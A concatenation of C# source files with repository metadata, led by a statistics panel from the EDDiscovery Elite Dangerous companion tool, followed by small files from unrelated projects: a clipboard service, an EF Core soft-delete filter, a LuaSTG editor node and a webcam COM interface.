fsdbodies = currentstats.FSDJumps.GroupBy(x => x.bodyname).ToDictionary(x => x.Key, y => y.Count()).ToList(); // get KVP list of distinct bodies fsdbodies.Sort(delegate (KeyValuePair<string, int> left, KeyValuePair<string, int> right) { return right.Value.CompareTo(left.Value); }); // and sort highest int i = 0; foreach (var data in fsdbodies.Take(10)) // display 10 { mostVisitedChart.Series[0].Points.Add(new DataPoint(i, data.Value)); mostVisitedChart.Series[0].Points[i].AxisLabel = data.Key; mostVisitedChart.Series[0].Points[i].LabelForeColor = TextC; i++; } } } else { if (mostVisitedChart != null) mostVisitedChart.Visible = false; } PerformLayout(); } private string GetSystemDataString(JournalLocOrJump he) { return he == null ? "N/A" : he.StarSystem + " @ " + he.StarPos.X.ToString("0.0") + "; " + he.StarPos.Y.ToString("0.0") + "; " + he.StarPos.Z.ToString("0.0"); } void DGVGeneral(string title, string data) { int rowpresent = dataGridViewGeneral.FindRowWithValue(0, title); if (rowpresent != -1) dataGridViewGeneral.Rows[rowpresent].Cells[1].Value = data; else dataGridViewGeneral.Rows.Add(new object[] { title, data }); } #endregion #region Travel Panel ********************************************************************************************************************* static JournalTypeEnum[] journalsForStatsTravel = new JournalTypeEnum[] { JournalTypeEnum.FSDJump, JournalTypeEnum.Docked, JournalTypeEnum.Undocked, JournalTypeEnum.JetConeBoost, JournalTypeEnum.Scan, JournalTypeEnum.SAAScanComplete, }; void StatsTravel(DateTime endtimelocal) { int sortcol = dataGridViewTravel.SortedColumn?.Index ?? 99; SortOrder sortorder = dataGridViewTravel.SortOrder; if (userControlStatsTimeTravel.TimeMode == StatsTimeUserControl.TimeModeType.Summary ) { int intervals = 6; var isTravelling = discoveryform.history.IsTravellingUTC(out var tripStartutc); // if travelling, and we have a end date set, make sure the trip is before end if (isTravelling && dateTimePickerEndDate.Checked && tripStartutc > endtimelocal.ToUniversalTime()) isTravelling = false; DateTime[] starttimeutc = SetupSummary(endtimelocal, isTravelling ? tripStartutc.ToLocalTime() : DateTime.Now, dataGridViewTravel, dbTravelSummary); var jumps = new string[intervals]; var distances = new string[intervals]; var basicBoosts = new string[intervals]; var standardBoosts = new string[intervals]; var premiumBoosts = new string[intervals]; var jetBoosts = new string[intervals]; var scanned = new string[intervals]; var mapped = new string[intervals]; var ucValue = new string[intervals]; for (var ii = 0; ii < intervals; ii++) { var fsdStats = currentstats.FSDJumps.Where(x => x.utc >= starttimeutc[ii]).ToList(); var scanStats = currentstats.Scans.Where(x => x.utc >= starttimeutc[ii]).Distinct(new Stats.ScansAreForSameBody()).ToList(); var saascancomplete = currentstats.ScanComplete.Where(x => x.utc >= starttimeutc[ii]).ToList(); var jetconeboosts = currentstats.JetConeBoost.Where(x => x.utc >= starttimeutc[ii]).ToList(); jumps[ii] = fsdStats.Count.ToString("N0", System.Globalization.CultureInfo.CurrentCulture); distances[ii] = fsdStats.Sum(j => j.jumpdist).ToString("N2", System.Globalization.CultureInfo.CurrentCulture); basicBoosts[ii] = fsdStats.Where(j => j.boostvalue == 1).Count().ToString("N0", System.Globalization.CultureInfo.CurrentCulture); standardBoosts[ii] = fsdStats.Where(j => j.boostvalue == 2).Count().ToString("N0", System.Globalization.CultureInfo.CurrentCulture); premiumBoosts[ii] = fsdStats.Where(j => j.boostvalue == 3).Count().ToString("N0", System.Globalization.CultureInfo.CurrentCulture); jetBoosts[ii] = jetconeboosts.Count().ToString("N0", System.Globalization.CultureInfo.CurrentCulture); scanned[ii] = scanStats.Count.ToString("N0", System.Globalization.CultureInfo.CurrentCulture); mapped[ii] = saascancomplete.Count().ToString("N0", System.Globalization.CultureInfo.CurrentCulture); ucValue[ii] = scanStats.Sum(x => (long)x.ev.EstimatedValue(x.wasdiscovered, x.wasmapped, x.mapped, x.efficientlymapped)).ToString("N0", System.Globalization.CultureInfo.CurrentCulture); } StatToDGV(dataGridViewTravel, "Jumps".T(EDTx.UserControlStats_Jumps), jumps); StatToDGV(dataGridViewTravel, "Travelled Ly".T(EDTx.UserControlStats_TravelledLy), distances); StatToDGV(dataGridViewTravel, "Premium Boost".T(EDTx.UserControlStats_PremiumBoost), premiumBoosts); StatToDGV(dataGridViewTravel, "Standard Boost".T(EDTx.UserControlStats_StandardBoost), standardBoosts); StatToDGV(dataGridViewTravel, "Basic Boost".T(EDTx.UserControlStats_BasicBoost), basicBoosts); StatToDGV(dataGridViewTravel, "Jet Cone Boost".T(EDTx.UserControlStats_JetConeBoost), jetBoosts); StatToDGV(dataGridViewTravel, "Scans".T(EDTx.UserControlStats_Scans), scanned); StatToDGV(dataGridViewTravel, "Mapped".T(EDTx.UserControlStats_Mapped), mapped); StatToDGV(dataGridViewTravel, "Scan value".T(EDTx.UserControlStats_Scanvalue), ucValue); } else // MAJOR { int intervals = 12; DateTime[] timeintervalsutc = SetUpDaysMonths(endtimelocal, dataGridViewTravel, userControlStatsTimeTravel.TimeMode, intervals, dbTravelDWM); var jumps = new string[intervals]; var distances = new string[intervals]; var basicBoosts = new string[intervals]; var standardBoosts = new string[intervals]; var premiumBoosts = new string[intervals]; var jetBoosts = new string[intervals]; var scanned = new string[intervals]; var mapped = new string[intervals]; var ucValue = new string[intervals]; for (var ii = 0; ii < intervals; ii++) { var fsdStats = currentstats.FSDJumps.Where(x => x.utc >= timeintervalsutc[ii + 1] && x.utc < timeintervalsutc[ii]).ToList(); var scanStats = currentstats.Scans.Where(x => x.utc >= timeintervalsutc[ii + 1] && x.utc < timeintervalsutc[ii]).Distinct(new Stats.ScansAreForSameBody()).ToList(); var saascancomplete = currentstats.ScanComplete.Where(x => x.utc >= timeintervalsutc[ii + 1] && x.utc < timeintervalsutc[ii]).ToList(); var jetconeboosts = currentstats.JetConeBoost.Where(x => x.utc >= timeintervalsutc[ii + 1] && x.utc < timeintervalsutc[ii]).ToList(); jumps[ii] = fsdStats.Count.ToString("N0", System.Globalization.CultureInfo.CurrentCulture); distances[ii] = fsdStats.Sum(j => j.jumpdist).ToString("N2", System.Globalization.CultureInfo.CurrentCulture); basicBoosts[ii] = fsdStats.Where(j => j.boostvalue == 1).Count().ToString("N0", System.Globalization.CultureInfo.CurrentCulture); standardBoosts[ii] = fsdStats.Where(j => j.boostvalue == 2).Count().ToString("N0", System.Globalization.CultureInfo.CurrentCulture); premiumBoosts[ii] = fsdStats.Where(j => j.boostvalue == 3).Count().ToString("N0", System.Globalization.CultureInfo.CurrentCulture); scanned[ii] = scanStats.Count.ToString("N0", System.Globalization.CultureInfo.CurrentCulture); ucValue[ii] = scanStats.Sum(x=>(long)x.ev.EstimatedValue(x.wasdiscovered,x.wasmapped,x.mapped,x.efficientlymapped)).ToString("N0", System.Globalization.CultureInfo.CurrentCulture); mapped[ii] = saascancomplete.Count().ToString("N0", System.Globalization.CultureInfo.CurrentCulture); jetBoosts[ii] = jetconeboosts.Count().ToString("N0", System.Globalization.CultureInfo.CurrentCulture); } StatToDGV(dataGridViewTravel, "Jumps".T(EDTx.UserControlStats_Jumps), jumps); StatToDGV(dataGridViewTravel, "Travelled Ly".T(EDTx.UserControlStats_TravelledLy), distances); StatToDGV(dataGridViewTravel, "Premium Boost".T(EDTx.UserControlStats_PremiumBoost), premiumBoosts); StatToDGV(dataGridViewTravel, "Standard Boost".T(EDTx.UserControlStats_StandardBoost), standardBoosts); StatToDGV(dataGridViewTravel, "Basic Boost".T(EDTx.UserControlStats_BasicBoost), basicBoosts); StatToDGV(dataGridViewTravel, "Jet Cone Boost".T(EDTx.UserControlStats_JetConeBoost), jetBoosts); StatToDGV(dataGridViewTravel, "Scans".T(EDTx.UserControlStats_Scans), scanned); StatToDGV(dataGridViewTravel, "Mapped".T(EDTx.UserControlStats_Mapped), mapped); StatToDGV(dataGridViewTravel, "Scan value".T(EDTx.UserControlStats_Scanvalue), ucValue); } for (int i = 1; i < dataGridViewTravel.Columns.Count; i++) ColumnValueAlignment(dataGridViewTravel.Columns[i] as DataGridViewTextBoxColumn); if (sortcol < dataGridViewTravel.Columns.Count) { dataGridViewTravel.Sort(dataGridViewTravel.Columns[sortcol], (sortorder == SortOrder.Descending) ? ListSortDirection.Descending : ListSortDirection.Ascending); dataGridViewTravel.Columns[sortcol].HeaderCell.SortGlyphDirection = sortorder; } } private void dataGridViewTravel_SortCompare(object sender, DataGridViewSortCompareEventArgs e) { if (e.Column.Tag == null) // tag null means date sort e.SortDataGridViewColumnDate(); } private void userControlStatsTimeTravel_TimeModeChanged(object sender, EventArgs e) { dataGridViewTravel.Rows.Clear(); // reset all DGVSaveColumnLayout(dataGridViewTravel, dataGridViewTravel.Columns.Count <= 8 ? dbTravelSummary : dbTravelDWM); dataGridViewTravel.Columns.Clear(); Display(); } private DateTime[] SetupSummary(DateTime endtimelocal, DateTime triptime, DataGridView view, string dbname) { DateTime[] starttimelocal = new DateTime[6]; starttimelocal[0] = endtimelocal.AddDays(-1).AddSeconds(1); starttimelocal[1] = endtimelocal.AddDays(-7).AddSeconds(1); starttimelocal[2] = endtimelocal.AddMonths(-1).AddSeconds(1); starttimelocal[3] = currentstats.lastdocked.ToLocalTime(); starttimelocal[4] = triptime; //; starttimelocal[5] = new DateTime(2014, 12, 14); if (view.Columns.Count == 0) { view.Columns.Add(new DataGridViewTextBoxColumn() { HeaderText = "Type".T(EDTx.UserControlStats_Type), Tag = "AlphaSort" }); for (int i = 0; i < starttimelocal.Length; i++) view.Columns.Add(new DataGridViewTextBoxColumn()); // day DGVLoadColumnLayout(view, dbname); } view.Columns[1].HeaderText = starttimelocal[0].ToShortDateString(); view.Columns[2].HeaderText = starttimelocal[1].ToShortDateString() + "-"; view.Columns[3].HeaderText = starttimelocal[2].ToShortDateString() + "-"; view.Columns[4].HeaderText = "Last dock".T(EDTx.UserControlStats_Lastdock); view.Columns[5].HeaderText = "Trip".T(EDTx.UserControlStats_Trip); view.Columns[6].HeaderText = "All".T(EDTx.UserControlStats_All); return (from x in starttimelocal select x.ToUniversalTime()).ToArray(); // need it in UTC for the functions } private DateTime[] SetUpDaysMonths(DateTime endtimelocal, DataGridView view, StatsTimeUserControl.TimeModeType timemode, int intervals, string dbname) { if (view.Columns.Count == 0) { var Col1 = new DataGridViewTextBoxColumn(); Col1.HeaderText = "Type".T(EDTx.UserControlStats_Type); Col1.Tag = "AlphaSort"; view.Columns.Add(Col1); for (int i = 0; i < intervals; i++) view.Columns.Add(new DataGridViewTextBoxColumn()); // day DGVLoadColumnLayout(view, dbname); } DateTime[] timeintervalslocal = new DateTime[intervals + 1]; if (timemode == StatsTimeUserControl.TimeModeType.Day) { timeintervalslocal[0] = endtimelocal.AddSeconds(1); // 1st min next day DateTime startofday = endtimelocal.StartOfDay(); for (int ii = 0; ii < intervals; ii++) { timeintervalslocal[ii + 1] = startofday; startofday = startofday.AddDays(-1); view.Columns[ii + 1].HeaderText = timeintervalslocal[ii + 1].ToShortDateString(); } } else if (timemode == StatsTimeUserControl.TimeModeType.Week) { DateTime startOfWeek = endtimelocal.AddDays(-1 * (int)(DateTime.Today.DayOfWeek - 1)).StartOfDay(); timeintervalslocal[0] = startOfWeek.AddDays(7); for (int ii = 0; ii < intervals; ii++) { timeintervalslocal[ii + 1] = timeintervalslocal[ii].AddDays(-7); view.Columns[ii + 1].HeaderText = timeintervalslocal[ii + 1].ToShortDateString(); } } else // month { DateTime startOfMonth = new DateTime(endtimelocal.Year, endtimelocal.Month, 1); timeintervalslocal[0] = startOfMonth.AddMonths(1); for (int ii = 0; ii < intervals; ii++) { timeintervalslocal[ii + 1] = timeintervalslocal[ii].AddMonths(-1); view.Columns[ii + 1].HeaderText = timeintervalslocal[ii + 1].ToString("MM/yy"); } } return (from x in timeintervalslocal select x.ToUniversalTime()).ToArray(); // need it in UTC for the functions } #endregion #region SCAN **************************************************************************************************************** void StatsScan(DateTime endtimelocal ) { int sortcol = dataGridViewScan.SortedColumn?.Index ?? 0; SortOrder sortorder = dataGridViewScan.SortOrder; dataGridViewScan.ColumnHeadersDefaultCellStyle.Alignment = DataGridViewContentAlignment.MiddleLeft; int intervals = 0; List<Stats.ScanInfo>[] scanlists = null; if (userControlStatsTimeScan.TimeMode == StatsTimeUserControl.TimeModeType.Summary ) { intervals = 6; var isTravelling = discoveryform.history.IsTravellingUTC(out var tripStartutc); if (isTravelling && dateTimePickerEndDate.Checked && tripStartutc > endtimelocal.ToUniversalTime()) // if out of time, due to tripstart being after endtime isTravelling = false; DateTime[] starttimeutc = SetupSummary(endtimelocal, isTravelling ? tripStartutc.ToLocalTime() : DateTime.Now, dataGridViewScan, dbScanSummary); scanlists = new List<Stats.ScanInfo>[intervals]; scanlists[0] = currentstats.Scans.Where(x => x.utc >= starttimeutc[0]).Distinct(new Stats.ScansAreForSameBody()).ToList(); scanlists[1] = currentstats.Scans.Where(x => x.utc >= starttimeutc[1]).Distinct(new Stats.ScansAreForSameBody()).ToList(); scanlists[2] = currentstats.Scans.Where(x => x.utc >= starttimeutc[2]).Distinct(new Stats.ScansAreForSameBody()).ToList(); scanlists[3] = currentstats.Scans.Where(x => x.utc >= starttimeutc[3]).Distinct(new Stats.ScansAreForSameBody()).ToList(); scanlists[4] = currentstats.Scans.Where(x => x.utc >= starttimeutc[4]).Distinct(new Stats.ScansAreForSameBody()).ToList(); scanlists[5] = currentstats.Scans.Distinct(new Stats.ScansAreForSameBody()).ToList(); } else { intervals = 12; DateTime[] timeintervalsutc = SetUpDaysMonths(endtimelocal, dataGridViewScan, userControlStatsTimeScan.TimeMode, intervals, dbScanDWM); scanlists = new List<Stats.ScanInfo>[intervals]; for (int ii = 0; ii < intervals; ii++) scanlists[ii] = currentstats.Scans.Where(x => x.utc >= timeintervalsutc[ii + 1] && x.utc < timeintervalsutc[ii]).Distinct(new Stats.ScansAreForSameBody()).ToList(); } for (int i = 1; i < dataGridViewScan.Columns.Count; i++) ColumnValueAlignment(dataGridViewScan.Columns[i] as DataGridViewTextBoxColumn); string[] strarr = new string[intervals]; if (userControlStatsTimeScan.StarPlanetMode) { foreach (EDStar startype in Enum.GetValues(typeof(EDStar))) { for (int ii = 0; ii < intervals; ii++) { int nr = 0; for (int jj = 0; jj < scanlists[ii].Count; jj++) { if (scanlists[ii][jj].starid == startype ) nr++; } strarr[ii] = nr.ToString("N0", System.Globalization.CultureInfo.CurrentCulture); } StatToDGV(dataGridViewScan, Bodies.StarName(startype), strarr); } } else { foreach (EDPlanet planettype in Enum.GetValues(typeof(EDPlanet))) { for (int ii = 0; ii < intervals; ii++) { int nr = 0; for (int jj = 0; jj < scanlists[ii].Count; jj++) { if (scanlists[ii][jj].planetid == planettype && scanlists[ii][jj].starid == null) nr++; } strarr[ii] = nr.ToString("N0", System.Globalization.CultureInfo.CurrentCulture); } StatToDGV(dataGridViewScan, planettype == EDPlanet.Unknown_Body_Type ? "Belt Cluster".T(EDTx.UserControlStats_Beltcluster) : Bodies.PlanetTypeName(planettype), strarr); } } if (sortcol < dataGridViewScan.Columns.Count) { dataGridViewScan.Sort(dataGridViewScan.Columns[sortcol], (sortorder == SortOrder.Descending) ? ListSortDirection.Descending : ListSortDirection.Ascending); dataGridViewScan.Columns[sortcol].HeaderCell.SortGlyphDirection = sortorder; } } private void userControlStatsTimeScan_DrawModeChanged(object sender, EventArgs e) { userControlStatsTimeScan_TimeModeChanged(sender, e); } private void dataGridViewScan_SortCompare(object sender, DataGridViewSortCompareEventArgs e) { if (e.Column.Tag == null) // tag null means numeric sort. e.SortDataGridViewColumnNumeric(); } private void userControlStatsTimeScan_TimeModeChanged(object sender, EventArgs e) { dataGridViewScan.Rows.Clear(); // reset all DGVSaveColumnLayout(dataGridViewScan, dataGridViewScan.Columns.Count <= 8 ? dbScanSummary : dbScanDWM); dataGridViewScan.Columns.Clear(); Display(); } #endregion #region STATS IN GAME ************************************************************************************************************************* void StatsGame() { string collapseExpand = GameStatTreeState(); if (string.IsNullOrEmpty(collapseExpand)) collapseExpand = GetSetting(dbStatsTreeStateSave, "YYYYYYYYYYYYYYYY"); if (collapseExpand.Length < 16) collapseExpand += new string('Y', 16); JournalStatistics stats = currentstats.laststats; if (stats != null) // may not have one { AddTreeList("N1", "@", new string[] { currentstats.laststats.EventTimeLocal.ToString() }, collapseExpand[0]); AddTreeList("N2", "Bank Account".T(EDTx.UserControlStats_BankAccount), stats.BankAccount.Format("").Split(Environment.NewLine),collapseExpand[1]); AddTreeList("N3", "Combat".T(EDTx.UserControlStats_Combat), stats.Combat.Format("").Split(Environment.NewLine), collapseExpand[2]); AddTreeList("N4", "Crime".T(EDTx.UserControlStats_Crime), stats.Crime.Format("").Split(Environment.NewLine), collapseExpand[3]); AddTreeList("N5", "Smuggling".T(EDTx.UserControlStats_Smuggling), stats.Smuggling.Format("").Split(Environment.NewLine),collapseExpand[4]); AddTreeList("N6", "Trading".T(EDTx.UserControlStats_Trading), stats.Trading.Format("").Split(Environment.NewLine), collapseExpand[5]); AddTreeList("N7", "Mining".T(EDTx.UserControlStats_Mining), stats.Mining.Format("").Split(Environment.NewLine),collapseExpand[6]); AddTreeList("N8", "Exploration".T(EDTx.UserControlStats_Exploration), stats.Exploration.Format("").Split(Environment.NewLine),collapseExpand[7]); AddTreeList("N9", "Passengers".T(EDTx.UserControlStats_Passengers), stats.PassengerMissions.Format("").Split(Environment.NewLine), collapseExpand[8]); AddTreeList("N10", "Search and Rescue".T(EDTx.UserControlStats_SearchandRescue), stats.SearchAndRescue.Format("").Split(Environment.NewLine), collapseExpand[9]); AddTreeList("N11", "Crafting".T(EDTx.UserControlStats_Crafting), stats.Crafting.Format("").Split(Environment.NewLine), collapseExpand[10]); AddTreeList("N12", "Crew".T(EDTx.UserControlStats_Crew), stats.Crew.Format("").Split(Environment.NewLine), collapseExpand[11]); AddTreeList("N13", "Multi-crew".T(EDTx.UserControlStats_Multi), stats.Multicrew.Format("").Split(Environment.NewLine), collapseExpand[12]); AddTreeList("N14", "Materials Trader".T(EDTx.UserControlStats_MaterialsTrader), stats.MaterialTraderStats.Format("").Split(Environment.NewLine), collapseExpand[13]); AddTreeList("N15", "CQC".T(EDTx.UserControlStats_CQC), stats.CQC.Format("").Split(Environment.NewLine), collapseExpand[14]); AddTreeList("N16", "Fleetcarrier".T(EDTx.UserControlStats_FLEETCARRIER), stats.FLEETCARRIER.Format("").Split(Environment.NewLine), collapseExpand[15]); AddTreeList("N17", "Exobiology".T(EDTx.UserControlStats_Exobiology), stats.Exobiology.Format("").Split(Environment.NewLine), collapseExpand[16]); } else treeViewStats.Nodes.Clear(); } // idea is to populate the tree, then next time, just replace the text of the children. // so the tree does not get wiped and refilled, keeping the current view pos, etc. TreeNode AddTreeList(string parentid, string parenttext, string[] children, char ce) { TreeNode[] parents = treeViewStats.Nodes.Find(parentid, false); // find parent id in tree TreeNode pnode = (parents.Length == 0) ? (treeViewStats.Nodes.Add(parentid,parenttext)) : parents[0]; // if not found, add it, else get it int eno = 0; foreach( var childtext in children) { string childid = parentid + "-" + (eno++).ToString(); // make up a child id TreeNode[] childs = pnode.Nodes.Find(childid, false); // find it.. if (childs.Length > 0) // found childs[0].Text = childtext; // reset text else pnode.Nodes.Add(childid, childtext); // else set the text } if (ce == 'Y') pnode.Expand(); return pnode; } string GameStatTreeState() { string result = ""; if (treeViewStats.Nodes.Count > 0) { foreach (TreeNode tn in treeViewStats.Nodes) result += tn.IsExpanded ? "Y" : "N"; } else result = GetSetting(dbStatsTreeStateSave, "YYYYYYYYYYYYY"); return result; } #endregion #region STATS_BY_SHIP **************************************************************************************************************************** static JournalTypeEnum[] journalsForShipStats = new JournalTypeEnum[] { JournalTypeEnum.FSDJump, JournalTypeEnum.Scan, JournalTypeEnum.MarketBuy, JournalTypeEnum.MarketSell, JournalTypeEnum.Died, }; void StatsByShip() { int sortcol = dataGridViewByShip.SortedColumn?.Index ?? 0; SortOrder sortorder = dataGridViewByShip.SortOrder; if (dataGridViewByShip.Columns.Count == 0) { dataGridViewByShip.Columns.Add(new DataGridViewTextBoxColumn() { HeaderText = "Type".T(EDTx.UserControlStats_Type), Tag = "AlphaSort" }); dataGridViewByShip.Columns.Add(new DataGridViewTextBoxColumn() { HeaderText = "Name".T(EDTx.UserControlStats_Name), Tag = "AlphaSort" }); dataGridViewByShip.Columns.Add(new DataGridViewTextBoxColumn() { HeaderText = "Ident".T(EDTx.UserControlStats_Ident), Tag = "AlphaSort" }); dataGridViewByShip.Columns.Add(new DataGridViewTextBoxColumn() { HeaderText = "Jumps".T(EDTx.UserControlStats_Jumps) }); dataGridViewByShip.Columns.Add(new DataGridViewTextBoxColumn() { HeaderText = "Travelled Ly".T(EDTx.UserControlStats_TravelledLy) }); dataGridViewByShip.Columns.Add(new DataGridViewTextBoxColumn() { HeaderText = "Bodies Scanned".T(EDTx.UserControlStats_BodiesScanned) }); dataGridViewByShip.Columns.Add(new DataGridViewTextBoxColumn() { HeaderText = "Destroyed".T(EDTx.UserControlStats_Destroyed) }); DGVLoadColumnLayout(dataGridViewByShip, dbShip); } string[] strarr = new string[6]; dataGridViewByShip.Rows.Clear(); foreach (var kvp in currentstats.Ships) { var fsd = currentstats.FSDJumps.Where(x => x.shipid == kvp.Key); var scans = currentstats.Scans.Where(x => x.shipid == kvp.Key); strarr[0] = kvp.Value.name?? "-"; strarr[1] = kvp.Value.ident ?? "-"; strarr[2] = fsd.Count().ToString(); strarr[3] = fsd.Sum(x => x.jumpdist).ToString("N0"); strarr[4] = scans.Count().ToString("N0"); strarr[5] = kvp.Value.died.ToString(); StatToDGV(dataGridViewByShip, kvp.Key, strarr, true); } if (sortcol < dataGridViewByShip.Columns.Count) { dataGridViewByShip.Sort(dataGridViewByShip.Columns[sortcol], (sortorder == SortOrder.Descending) ? ListSortDirection.Descending : ListSortDirection.Ascending); dataGridViewByShip.Columns[sortcol].HeaderCell.SortGlyphDirection = sortorder; } } private void dataGridViewByShip_SortCompare(object sender, DataGridViewSortCompareEventArgs e) { if (e.Column.Tag == null) // tag null means numeric sort. e.SortDataGridViewColumnNumeric(); } #endregion #region Helpers private static void ColumnValueAlignment(DataGridViewTextBoxColumn Col2) { Col2.HeaderCell.Style.Alignment = DataGridViewContentAlignment.MiddleRight; Col2.DefaultCellStyle.Alignment = DataGridViewContentAlignment.MiddleRight; Col2.SortMode = DataGridViewColumnSortMode.Automatic; } void StatToDGV(DataGridView datagrid, string title, string[] data, bool addatend = false) { object[] rowobj = new object[data.Length + 1]; rowobj[0] = title; for (int ii = 0; ii < data.Length; ii++) { rowobj[ii + 1] = data[ii]; } int rowpresent = datagrid.FindRowWithValue(0, title); if (rowpresent != -1 && !addatend) { for (int ii = 1; ii < rowobj.Length; ii++) { var row = datagrid.Rows[rowpresent]; var cell = row.Cells[ii]; cell.Value = rowobj[ii]; } } else datagrid.Rows.Add(rowobj); } #endregion } }
50.256897
206
0.555611
[ "Apache-2.0" ]
wisquimas/EDDiscovery
EDDiscovery/UserControls/CurrentState/UserControlStatistics.cs
57,142
C#
namespace Zeldomizer.Metal { public interface IExportable : IRawExportable { byte[] Export(); } }
14.875
49
0.621849
[ "ISC" ]
SaxxonPike/Zeldomizer
Zeldomizer/Metal/IExportable.cs
121
C#
using SnippetStudio.ClientBase.Services; using System; using Xamarin.Essentials; namespace SnippetStudio.Mobile.Services { public class ClipboardService : IClipboardService { public string GetText() { if (!Clipboard.HasText) { return ""; } return Clipboard.GetTextAsync().Result; } public void SetText(string text) { Clipboard.SetTextAsync(text).Wait(); } } }
15.92
50
0.70603
[ "MIT" ]
najlot/SnippetStudio
src/SnippetStudio.Mobile/SnippetStudio.Mobile/Services/ClipboardService.cs
400
C#
using System; namespace Kekiri { [AttributeUsage(AttributeTargets.Class)] public class ScenarioAttribute : Attribute { [Obsolete("Use overload that takes an enum literal instead", true)] // ReSharper disable once UnusedParameter.Local public ScenarioAttribute(string description) { } public ScenarioAttribute(object featureEnum) : this(featureEnum, null) { } public ScenarioAttribute(object featureEnum, string description) { Feature = featureEnum; Description = description; } public string Description { get; protected set; } public object Feature { get; private set; } } }
25.892857
78
0.628966
[ "MIT" ]
chris-peterson/kekiri-nunit
src/Library/ScenarioAttribute.cs
727
C#
namespace Sample.Functions.Transfers { public class TransferMessage { public TransferMessage(string fromAccountId, string toAccountId, decimal amount) { FromAccountId = fromAccountId; ToAccountId = toAccountId; Amount = amount; } public string FromAccountId { get; } public string ToAccountId { get; } public decimal Amount { get; } } }
26.529412
89
0.587583
[ "MIT" ]
charleszipp/azure-durable-entities-encryption
src/Sample.Functions/Transfers/Interfaces/TransferMessage.cs
453
C#
using Microsoft.EntityFrameworkCore; using System; using System.Collections.Generic; using System.Linq.Expressions; using System.Text; namespace SAX.CoreLibrary.Data { public class SoftDeleteBehavior { public void Deletable(ModelBuilder modelBuilder) { foreach (var entityType in modelBuilder.Model.GetEntityTypes()) { // 1. Add the IsDeleted property entityType.GetOrAddProperty("IsDeleted", typeof(bool)); // 2. Create the query filter var parameter = Expression.Parameter(entityType.ClrType); // EF.Property<bool>(entity, "IsDeleted") var propertyMethodInfo = typeof(EF).GetMethod("Property").MakeGenericMethod(typeof(bool)); var isDeletedProperty = Expression.Call(propertyMethodInfo, parameter, Expression.Constant("IsDeleted")); // EF.Property<bool>(entity, "IsDeleted") == false BinaryExpression compareExpression = Expression.MakeBinary(ExpressionType.Equal, isDeletedProperty, Expression.Constant(false)); // post => EF.Property<bool>(entity, "IsDeleted") == false var lambda = Expression.Lambda(compareExpression, parameter); modelBuilder.Entity(entityType.ClrType).HasQueryFilter(lambda); } } } }
37.297297
144
0.64058
[ "MIT" ]
SomboChea/SAXCoreLibrary
SAX.CoreLibrary/Data/SoftDeleteBehavior.cs
1,382
C#
using System; using System.Collections.Generic; using System.Collections.ObjectModel; using System.Linq; using System.Text; using System.Threading.Tasks; using LuaSTGEditorSharp.EditorData; using LuaSTGEditorSharp.EditorData.Document; using LuaSTGEditorSharp.EditorData.Node.NodeAttributes; using Newtonsoft.Json; namespace LuaSTGEditorSharp.EditorData.Node.Task { [Serializable, NodeIcon("taskmoveto.png")] [RequireAncestor(typeof(TaskAlikeTypes))] [LeafNode] [RCInvoke(1)] public class TaskMoveTo : TreeNode { [JsonConstructor] private TaskMoveTo() : base() { } public TaskMoveTo(DocumentData workSpaceData) : this(workSpaceData, "0,0", "60", "MOVE_NORMAL") { } public TaskMoveTo(DocumentData workSpaceData, string dest, string frame, string mode) : base(workSpaceData) { Destination = dest; Frame = frame; Mode = mode; /* attributes.Add(new AttrItem("Destination", dest, this, "position")); attributes.Add(new AttrItem("Frame", frame, this)); attributes.Add(new AttrItem("Mode", mode, this, "interpolation")); */ } [JsonIgnore, NodeAttribute] public string Destination { get => DoubleCheckAttr(0, "position").attrInput; set => DoubleCheckAttr(0, "position").attrInput = value; } [JsonIgnore, NodeAttribute] public string Frame { get => DoubleCheckAttr(1).attrInput; set => DoubleCheckAttr(1).attrInput = value; } [JsonIgnore, NodeAttribute] public string Mode { get => DoubleCheckAttr(2, "interpolation").attrInput; set => DoubleCheckAttr(2, "interpolation").attrInput = value; } public override IEnumerable<string> ToLua(int spacing) { string sp = Indent(spacing); string fr = Macrolize(1); fr = string.IsNullOrEmpty(fr) ? "1" : fr; string mode = Macrolize(2); mode = string.IsNullOrEmpty(mode) ? "MOVE_NORMAL" : mode; yield return sp + "task.MoveTo(" + Macrolize(0) + "," + fr + "," + mode + ")\n"; } public override IEnumerable<Tuple<int, TreeNode>> GetLines() { yield return new Tuple<int, TreeNode>(1, this); } public override string ToString() { string fr = NonMacrolize(1); fr = string.IsNullOrEmpty(fr) ? "1" : fr; string mode = NonMacrolize(2); mode = string.IsNullOrEmpty(mode) || mode == "MOVE_NORMAL" ? "" : ", interpolation mode: " + mode; return "Move to (" + NonMacrolize(0) + ") in " + fr + " frame(s)" + mode; } public override object Clone() { var n = new TaskMoveTo(parentWorkSpace); n.DeepCopyFrom(this); return n; } } }
32.554348
110
0.575626
[ "MIT" ]
RyannThi/LuaSTG-Editor-Sharp-X
LuaSTGNode.Legacy/EditorData/Node/Task/TaskMoveTo.cs
2,997
C#
using System; using System.Runtime.InteropServices; using System.Runtime.InteropServices.ComTypes; namespace Captura.Webcam { [ComVisible(true), ComImport, Guid("29840822-5B84-11D0-BD3B-00A0C911CE86"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] interface ICreateDevEnum { [PreserveSig] int CreateClassEnumerator([In] ref Guid pType, [Out] out IEnumMoniker ppEnumMoniker, [In] int dwFlags); } }
33.538462
132
0.754587
[ "MIT" ]
anxgang/Captura
src/Captura.Webcam/Interfaces/ICreateDevEnum.cs
436
C#
namespace HttRequestDataExtensionsFunctions { public class ExampleRequest { public string FirstName { get; set; } public string LastName { get; set; } } }
16.4
44
0.731707
[ "MIT" ]
TaleLearnCode/HttpRequestData.Extensions
src/HttpRequestData.Extensions/HttRequestDataExtensionsFunctions/ExampleRequest.cs
166
C#
// CS0122: `A.Foo()' is inaccessible due to its protection level // Line: 23 class A { public void Foo (int i) { } private void Foo () { } } class B : A { public static void Main () { } void Test () { Foo (); } }
9.2
64
0.556522
[ "Apache-2.0" ]
121468615/mono
mcs/errors/cs0122-32.cs
230
C#
using System; using System.Resources; using System.Runtime.InteropServices; using System.Windows; [assembly: ComVisible(false)] [assembly: CLSCompliant(false)] [assembly: ThemeInfo(ResourceDictionaryLocation.None, ResourceDictionaryLocation.SourceAssembly)] [assembly: NeutralResourcesLanguageAttribute("en")] [assembly: GuidAttribute("5E627A5C-D167-4C71-A041-65E1E6424A6A")]
34.363636
97
0.828042
[ "MIT" ]
ChiefNoir/Dungecto
Dungecto/Properties/AssemblyInfo.cs
380
C#
